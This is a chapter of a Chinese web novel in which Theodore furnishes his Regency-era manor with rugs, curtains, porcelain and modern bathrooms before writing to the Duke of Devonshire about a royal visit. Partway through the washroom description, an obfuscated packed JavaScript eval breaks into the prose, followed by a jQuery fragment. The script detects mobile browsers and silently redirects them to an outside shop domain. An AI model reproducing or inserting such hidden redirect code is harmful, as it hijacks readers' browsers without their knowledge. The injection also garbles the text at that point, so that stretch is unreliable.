第15章布置新居
从卡尔顿宫回来之后，西奥多便开始着手准备新庄园的软装。
摄政王要来。不是正式出访，是私下里、不带随从、安安静静地来看一看。这比任何正式的宫务觐见都更需要用心——正因为不是正式场合，才更不能马虎。他不能让人坐在空荡荡的客厅里，对着光秃秃的墙壁喝茶。
好在房子的大件家具已经齐全。沙发、茶几、书架、床、餐桌——这些东西早在装修期间就陆续搬入，一直用白布罩着防尘。那些白布落了一层薄灰，掀开的时候灰尘在阳光里飞舞，细小的颗粒浮在空中，像金色的雾。他只需要掀开罩布，布置软装，摆好日用品。
西奥多站在客厅中央，环顾四周。墙壁是白色的，刚刷不久的石灰还带着一点涩涩的气味，不刺鼻，只是干干的。地板是深色的橡木，拼成人字纹，缝隙嵌得严丝合缝，踩上去没有一丝声响。壁炉是大理石的，冷冰冰的，还没有生火，炉膛里空荡荡的，只有几根没用过的柴架。阳光从朝南的三扇大窗户涌进来，落在地板上，投下一大片金色的光斑，光斑的边缘被窗框切成整齐的矩形，随着太阳的移动缓慢地在地板上爬行。
房间很大，很亮，很空。说话的时候会有回音，脚步声在空荡荡的房间里显得格外清晰。西奥多不喜欢这种空。他要让它满起来，不是堆满东西，是让它有人的气息。
他打开系统，在搜索栏里打字。
他找的不是大件家具，而是那些让房子“活起来”的东西——地毯、窗帘、桌布、靠垫、花瓶、烛台。这些在1811年的伦敦也能买到，但系统里的款式更好、价格更低、无需等待。他翻了一会儿，选了几块羊毛地毯。深棕色的底，暗红色的花纹，花纹不是那种张扬的大朵大朵，是细密的、暗纹的，不仔细看几乎看不出来。他用手指摸了摸屏幕上的图片——当然摸不到实物，但他知道那种触感。羊毛的，厚实，柔软，踩上去像踩在秋天的草地上。
他让贝茨把地毯铺在客厅的沙发前和书房的书桌下。贝茨蹲下来，把地毯的一角对齐地板的人字纹，慢慢展开。地毯落下去的时候，房间里的声音立刻变了——不再有回音，脚步声被吞没了，连说话声都变得柔和了一些。
窗帘和桌布选了亚麻质地，米白色，厚实却不沉重，垂感极佳。他定了两套，一套深蓝色丝绒留待冬日，一套米白色亚麻即刻使用。贝茨爬上梯子，把米白色的亚麻窗帘挂上铜杆。窗帘布很长，垂到地板，褶皱均匀地堆叠在地上，像一匹布料被随意地搁在那里，但每一道褶皱的宽度都差不多。阳光透过亚麻窗帘变得柔和了，不再刺眼，像是蒙了一层薄薄的雾。窗台上的灰尘在光线里变得清晰可见，贝茨用湿布擦了一遍，又用干布擦了一遍，窗台亮得像上了蜡。
靠垫也挑了数只，深蓝、墨绿、暗红，与沙发色调相配。沙发的面料是深灰色的绒布，粗粝而温暖。西奥多把靠垫散落在沙发上，不是整齐地并排摆，而是随意地搁在扶手边、靠背前。一个深蓝色的靠垫斜靠在扶手上，一个墨绿色的塞在靠背和坐垫之间的缝隙里，一个暗红色的横放在座垫中央，像是有人刚坐过，随手把它放在了那里。这种“不经意的讲究”，是他从杂志上学来的。太整齐了显得刻意，太随意了显得邋遢。他要的是那种看起来毫不费力、其实每一处都经过计算的效果。
花瓶是白瓷的，造型简洁，无多余纹饰。他拿着花瓶在手里转了转，检查有没有瑕疵。釉面光滑得像婴儿的皮肤，对着光看，没有气泡，没有裂纹。他在系统里买了一束干芦苇，插入瓶中，置于茶几上。芦苇是淡金色的，花序蓬松而柔软，像一团被风吹散的烟。几枝芦苇高低错落，最高的那一枝几乎要碰到茶几上方吊灯的水晶坠子。米白色的桌布、深棕色的地毯、淡金色的芦苇，三者的颜色叠在一起，像是秋天的田野被搬进了室内。他退后几步，看了看，又上前把芦苇的角度调了一下。最左边的那枝太直了，他把它往外掰了掰，让它微微垂下来。满意了。
贝茨沉默地将这些装饰一一归位，从不多问一句。他跟着西奥多做事多年，知道主人的习惯——不解释，不重复，不废话。该做的做，不该问的不问。
墙上的画，西奥多花了更长的时间。
他不想挂市面上随处可见的风景画，也不要那些浓腻的宗教画。他只挂自己画的，或者从系统里挑选的、符合他审美的实景风物。
他在系统里翻了自己早年上传的习作——不是买的，是他在爱丁堡医学院读书时自己画的。那时候课余没事，他带着画箱去老城写生，一坐就是一个下午。苏格兰的天气多变，有时候画到一半下雨了，他就把画箱抱在怀里，躲到教堂的门廊下等雨停。雨停了再画，画到天黑，看不清颜色了才收工。
他挑了两幅最好的。
一幅是爱丁堡老城的街景。画的是阴天，灰色的石墙被雨水浸得发暗，不是那种干燥的灰，是那种吸饱了水分的、沉甸甸的灰。石板路上湿漉漉的，映着灰白色的天空，路面上的积水像一面破碎的镜子，倒映着教堂的尖顶。远处教堂的尖顶隐在薄雾里，尖顶上的风向标模糊成一团暗影，看不清是公鸡还是十字架。这幅画的色调很灰，但灰得有层次——近处的石墙是深灰，墙上爬着的藤蔓几乎是黑色的；远处的薄雾是浅灰，几乎要融进天空里；教堂的尖顶介于两者之间，带着一点冷蓝色的调子。画得不张扬，耐看。挂在墙上不抢眼，但你盯着它看久了，会觉得自己站在那条湿漉漉的街上，能闻到雨后石板的味道。
另一幅是苏格兰高地的山谷。画的是清晨，雾气还没散，远处的山峦层层叠叠，一层比一层淡，最远的那一层几乎和天空融在一起，分不清哪里是山，哪里是天。近处是一条蜿蜒的小溪，溪水清澈见底，水底的鹅卵石是赭色的，被水浸得发亮，像是上了一层清漆。溪边长满了野花，紫色的、白色的、淡黄色的，星星点点，不是那种一大片一大片的，是零零星星的、像是被随手撒在那里的。这幅画的颜色很淡，灰绿、浅蓝、淡紫，像是清晨的雾气还没有散尽，所有的颜色都被洗淡了。看着安静，不闹，不争。
他把这两幅画挂在客厅的墙上。一幅挂在壁炉上方，一幅挂在沙发的对面。
壁炉上方的画，位置刚好在壁炉的拱心石下面。画框的下沿和壁炉的台面对齐，上沿和两侧的壁灯灯座平齐。他让贝茨举着画，自己退到客厅的另一头，眯着眼睛看了一会儿，又走近，用尺子量了量画框和壁炉边缘的距离，左右各差了半英寸。贝茨往左挪了半英寸，他又退回去看，点了点头。
沙发的对面那幅，位置稍微低一些。坐在沙发上看，视线刚好落在画的中心偏下一点，这是最舒服的高度。不是正中间，是黄金分割的位置。他试了三次才满意。
壁炉上方的画，壁炉里的火烧起来的时候，火光映在上面，爱丁堡的石墙像是被夕阳染了一层暖色。沙发对面的画，坐着喝茶的时候抬头就能看见那片山谷，眼睛会舒服一些。他试坐了一下，靠在沙发靠背上，端起空茶杯，假装喝了一口，抬头看那幅画。山谷安安静静的，小溪安安静静的。他把茶杯放下，站起来，没有再调整。
书房和走廊的墙上，他没有挂画。空着，等以后有了合适的再说。他不喜欢把墙挂得太满。空一点，反而干净。留白，让眼睛有休息的地方。
日用品也全部更换。
他不要铜的，不要锡的，不要木头的，通通换成白瓷。釉色洁白，不是那种惨白，是那种温润的、像羊脂玉一样的白。胎体轻薄，对光可见指影，把杯子举到窗前，阳光能透过瓷壁，在杯子里投下一层淡淡的光晕。杯、碟、碗、盘，每一样都是成套的，边缘描着细细的金线。金线不是一整圈，是间断的、细细的线条，每隔一小段就断一下，像是一串省略号。这是他从杂志上看到的款式，不张扬，但精致。
肥皂盒、漱口杯、梳妆台上的小碟子、浴缸边的置物架——统一白瓷描金，干净、克制、精致。肥皂盒的底部有排水孔，不是一个大孔，是几个细细的小孔，排成一排，像梳子的齿。漱口杯的大小刚好能握在手里，杯壁薄得能感觉到茶水的温度从瓷壁透过来。梳妆台上的小碟子是方形的，四角是圆润的弧线，不放东西的时候光摆在那里也是一件装饰。
贝茨将器物一一摆放妥当，全程沉默，不多一言。他把肥皂盒放在洗手台的右上角，和台面边缘对齐。漱口杯放在镜子前面，杯柄朝右。浴缸边的置物架放在浴缸的头部那一端，伸手就能够到。每一件东西都在它该在的位置，不多不少，不偏不倚。
宫里用的是银器和锡器，虽然贵重，但不够精致。银器会氧化发黑，要经常擦，擦久了花纹就模糊了。锡器太软容易变形，杯口磕一下就是一个凹痕，没法修复。瓷器不一样，它温润、洁净、轻盈，用起来让人舒服。不冰手，不烫嘴，不沉。用完冲一下水就干净了，不用擦，不用磨。
庄园的卫浴区域，是西奥多最费心思的地方。厕所、洗头房、洗澡房、更衣房，各自独立，各司其职，互不干扰。他不是那种会把所有功能塞进一间屋子里的人。每件事都有它自己的房间，每个房间都有它自己的用途。
厕所最小，却最为关键。陶瓷马桶釉面光洁如绸，坐在上面不凉。墙上水箱一拉绳索，水流从水箱里冲下来，力量很大，轰然一声，把污物冲刷得干干净净。水声在狭窄的空间里回荡，像瀑布落在岩石上。地面铺防滑石板，石板表面刻着细密的纹路，不滑，不积水。角落摆一只白瓷小花瓶，里面插着一枝干花，是薰衣草，干了以后颜色变淡了，但还是有淡淡的香味。旁侧设有小型陶瓷洗手池，冷热水龙头齐备，使用完毕可就近净手，不用走到外面的洗手间。洗手池很小，只够冲一下手，但足够了。
西奥多蹲下来，检查了马桶的底部，确认没有漏水。他用手摸了摸接口处的密封圈，干干的，没有水渍。又拉了一次绳索，水又冲了一次，哗哗的，水流强劲，漩涡把水面的泡沫卷进去，转了几圈，消失了。他又拉了一次，再拉一次。贝茨站在门口，什么也没说。
洗头房中央一张可躺式洗头台，陶瓷一体成型，没有接缝，不会漏水。带热水龙头与排水口，头枕处弧度贴合脖颈，躺上去之后脖子刚好卡在凹槽里，不会滑下去，也不会硌得慌。久躺不酸。西奥多自己躺上去试了试，眼睛看着天花板，天花板是白色的，干干净净，没有裂缝。他躺了一小会儿，觉得可以，才起来。
旁侧小柜中放着陶瓷瓶身的洗发水与护发素，瓶身贴着西奥多亲手书写的标签。他写的是花体字，“Shampoo”和“Conditioner”，墨迹干透了，不会蹭花。柜上悬一面小镜，不大，但足够照见面容。镜框是银质的，不是他更衣房那面巨幅的，只是一面小镜子，用来在洗头之后照一照头发有没有冲干净。
西奥多拧开水龙头，等了片刻，热水出来了。锅炉在地下室，热水要通过管道走一段路才能到这里，他数了数，从拧开龙头到热水出来，大约是十秒钟。又试了试排水口，水流顺畅，没有堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620892|205986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
塞，下水的声音很轻，不是那种咕嘟咕嘟的，是安静的、几乎听不见的。
洗澡房最为宽敞。地面铺防滑石板，石板之间留了宽缝，水可以流下去。四周设有排水沟，浅浅的，贴着墙根走了一圈。角落是超大陶瓷浴缸，带盖防尘。盖子也是陶瓷的，和浴缸一体烧制，盖上之后严丝合缝，灰尘进不去。浴缸的长度他量过，自己躺进去腿能完全伸直，头顶还空一截。浴缸旁边的墙上嵌冷热水龙头，两个铜质的旋钮，一个标着“H”，一个标着“C”。旋钮的手感不轻不重，拧起来有阻尼，不会一下子拧到底。
一旁以玻璃与金属框架隔出独立淋浴间，干湿分离。玻璃是磨砂的，外面看不清里面，里面也看不清外面。金属框架是铜的，打磨得锃亮，没有锈迹。顶置花洒依靠水塔重力供水，水压刚好，不猛也不弱。花洒的出水孔是均匀的，每一道水线都一样粗细，打在身上不疼，像夏天的雨。
淋浴间内的陶瓷置物架上，沐浴露、香皂摆放整齐，皆为白瓷瓶。沐浴露的瓶子是按压式的，按一下出来一泵，不多不少。香皂盒是带盖的，盖上之后香皂不会干裂。他把每一样东西都拿出来检查了一遍，确认没有破损，又放回去，摆正。
西奥多拧开花洒，水压刚好，不猛也不弱。他用手试了试水温，调到不烫不凉的程度，站在花洒下淋了一会儿，水从头顶浇下来，顺着肩膀、后背、胸口往下流。他闭着眼睛，站着没动，让水冲了几分钟，才关掉。
更衣房紧邻洗澡房，不必湿脚穿行。一面墙是衣柜，浴袍与毛巾叠放规整。浴袍是白色的，棉质的，厚实柔软。毛巾分三种尺寸：浴巾最大，用来擦身体；面巾中等，用来擦脸；手巾最小，用来擦手。每一叠毛巾都摞得整整齐齐，边缘对齐，像一摞白色的书。
另一面墙是整幅穿衣镜，深色橡木边框，简洁大方，没有雕花。镜子从地面一直延伸到天花板，照人清清楚楚，连衣领上的褶皱都看得一清二楚。他站在镜子前，看了看自己，转身，侧过脸，看了看侧面的轮廓，又转回来。镜面没有铜镜那种发黄的调子，是冷的、白的、真实的。
地上铺厚实棉毯，刚出浴踩上去也不觉寒凉。棉毯是米白色的，和窗帘、桌布同一色系，踩上去脚感软软的，像是踩在沙滩上。
墙角置一把扶手椅，深色的橡木，椅面宽大，铺着棉垫。椅子旁边的小几上放着水杯，白瓷的，和浴室里那些是同一套。水杯里倒着凉白开，泡完澡出来喝一口，很舒服。他坐在椅子上试了试，靠在椅背上，腿伸直，拿起水杯喝了一口。水是凉的，刚好。
西奥多逐一检查完毕，站在穿衣镜前，望着镜中的自己：深灰外套，挺括衬衫，领结一丝不苟。面上无甚表情，眼底却亮着笃定的光。他伸手摸了摸镜面，玻璃是凉的，光滑得像丝绸。他退后一步，又看了看，转身走出更衣房。
“贝茨，毛巾够不够？”
“够了，先生。浴巾十二条，面巾十二条，手巾十二条，都已备好。”
“香皂呢？”
“每间房均已放置妥当。”
西奥多点点头。他走到厕所，拉了一下绳子，水冲下来，哗啦啦的。他又拉了一次，水又冲了一次。再拉一次，再冲一次。贝茨站在门口，什么也没说。
“好了。”他关掉最后一盏灯，走出卫浴区，“可以待客了。”
傍晚，西奥多站在客厅中央，做最后一遍确认。
靠垫摆放齐整，花瓶安放到位，画作悬挂端正，蔷薇新鲜盛放。窗台上的蔷薇是贝茨早上从花园里剪的，插在一只透明的玻璃瓶里，水是干净的，茎浸在水里的部分剪了斜口。花瓣上还沾着水珠，在夕阳下闪着细碎的光。
地毯、窗帘、桌布一一就绪；厕所、洗头房、洗澡房、更衣房全部调试完毕，每一件器物都在它该在的位置。
阳光从窗棂涌入，落在地毯、沙发，与壁炉上方那幅爱丁堡街景之上。夕阳把画里灰色的石墙染成了暖棕色，像是回到了傍晚的爱丁堡。光线慢慢移动，从地毯的一角移到另一角，从沙发的扶手移到靠背。西奥多站在那里，看着光线一点一点地移动，没有动。
一切都安静、妥帖、克制。不多一分，不少一毫。
他走到书桌前，提笔铺纸。
摄政王出宫不难，他本就是全英国最自由的人，想去哪里就去哪里。但西奥多不愿这栋房子暴露在过多目光之下。这里藏着太多无法解释的东西：煤气灯、地暖、抽水马桶、那面五百英镑的镜子。一旦传开，窥探与麻烦便会接踵而至。
他选择写信给德文郡公爵。公爵是中间人，是担保人，也是挡箭牌。
“公爵大人：
新居已布置妥当，随时可静候贵客光临。
殿下那边，劳烦您代为转达。具体时日，听凭殿下安排。
您诚挚的
西奥多·菲利普斯”
他将信纸折好，装入信封，以火漆封口。火漆是深红色的，滴在信封的封口上，用印章压了一下。印章是他的姓氏缩写，一个花体的“P”，刻在一枚银质的印鉴上。他等了几秒钟，让火漆冷却，确认封口牢固了，才把信封递给贝茨。
“贝茨，把这封信送往德文郡府，亲手交到公爵大人手中。”
“是，先生。”
贝茨接过信封，转身出了门。片刻后，窗外传来马蹄声，由近及远，渐渐消失在暮色里。马蹄踩在碎石车道上，声音很脆，一下一下的，越来越远，越来越轻，最后听不见了。